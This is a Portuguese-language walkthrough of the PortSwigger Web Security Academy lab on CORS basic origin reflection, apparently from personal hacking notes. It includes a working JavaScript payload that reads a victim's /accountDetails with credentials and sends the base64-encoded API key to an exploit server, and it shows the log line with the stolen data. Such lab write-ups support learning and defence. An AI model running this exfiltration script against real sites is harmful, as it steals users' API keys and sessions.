> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/cors/cors-basic-origin-reflection.md).

# Reflexão Básica da Origem em CORS

Notas sobre Reflexão Básica da Origem em CORS para laboratórios da PortSwigger Web Security Academy, incluindo fluxo de exploração, teste de payloads, validação no Burp Suite e contexto de remediação.

### Vulnerabilidade de CORS com reflexão básica da origem

Usando uma configuração de CORS excessivamente permissiva (o servidor confia em qualquer origem) para recuperar a chave da API do administrador por meio de uma consulta entre origens com `credenciais` e enviar a resposta para o nosso servidor de exploração. O exercício é resolvido quando a chave da API do administrador é enviada ao servidor de exploração.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f23205fd14ddce1058f950285c4554561c44c6e4%2F%7BE93C2481-C3DD-4491-9718-04255A525A5E%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* Credenciais fornecidas para conectar: `wiener:peter`.
* O código do lado da página recupera a chave da API de `/accountDetails` e exibe:

```javascript
<script>
 fetch('/accountDetails', {credentials:'include'})
  .then(r => r.json())
  .then(j => document.getElementById('apikey').innerText = j.apikey)
</script>
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e05acb78b0b9ba40cd1ab6441c933bc62194815a%2F%7B5B981217-EB8B-46B6-866E-BF2EE614164B%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Os cabeçalhos indicam `Access-Control-Allow-Credentials: true` (o servidor aceita solicitações com cookies/credenciais).

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fffb4cb07e3b1fd041b023d89e33bd50c0a580eb%2F%7B71DD19DE-AF24-4A33-9628-97AF33D459CA%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* Ao testar uma consulta com o `Origin: jord4n.pro` cabeçalho, a resposta é retornada (a origem refletida é aceita).

```javascript
Origin: jord4n.pro
```

* O servidor reflete/permite a origem enviada, então uma página controlada pelo atacante pode realizar um `XMLHttpRequest` ou `fetch` para `/accountDetails` incluindo os cookies da vítima (`withCredentials = true`) e recuperar a resposta JSON contendo a chave da API.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c6296a8f99e2485444e7340b5987ae5e7e276b66%2F%7B8E97639D-16A3-4758-BB50-FD30CC1BD87E%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

```javascript
<script>
  var req=new XMLHttpRequests();
  req.open("GET", "https://0a9d00860350062c82d5244e009500e7.web-security-academy.net/accountDetails", true);
  req.withCredentials = true;
  req.send();
</script>
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4966b3c5739c9ba582053fbe4ac57fd3c4ccbe05%2F%7B90E8F329-5B26-4B3B-BB2C-426417A091F1%7D.png?alt=media" alt="" width="483"><figcaption></figcaption></figure>

Assim que a resposta for lida, ela pode ser transmitida ao servidor (por exemplo, codificando em base64) para coleta.

```javascript
<script>
  var req=new XMLHttpRequest();
  req.onload = function(){
     location = "https://exploit-0aca00f703c106bc82ac23560133003f.exploit-server.net/?apiKey=" + btoa(req.responseText);
};
  req.open("GET", "https://0a9d00860350062c82d5244e009500e7.web-security-academy.net/accountDetails", true);
  req.withCredentials = true;
  req.send();
</script>
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-02733344152bd14f913bfc7b411483b6bf72208c%2F%7B34B08A80-EEF4-46A7-9741-E8D38F8DB848%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" %}

```
10.0.3.6        2025-10-29 20:19:37 +0000 "GET /?apiKey=ewogICJ1c2VybmFtZSI6ICJhZG1pbmlzdHJhdG9yIiwKICAiZW1haWwiOiAiIiwKICAiYXBpa2V5IjogIjg2cWk4Mnh2TUdDOUdyV2dYY1RPdUN4bnVCQU9Gd3VEIiwKICAic2Vzc2lvbnMiOiBbCiAgICAiS240MzN2QVpqWU1WUTZTUE1JTmx4YzY5aHFjNVg1M24iCiAgXQp9 HTTP/1.1" 200 "user-agent: Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36"
```

{% endcode %}

O servidor operacional recebeu uma consulta GET contendo a resposta codificada, por exemplo:

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fb38d3209967cd9d4a39677bd0d257d48b3b1055%2F%7BBCA617FC-24D1-4D74-A8E9-063DEC8A4C3C%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

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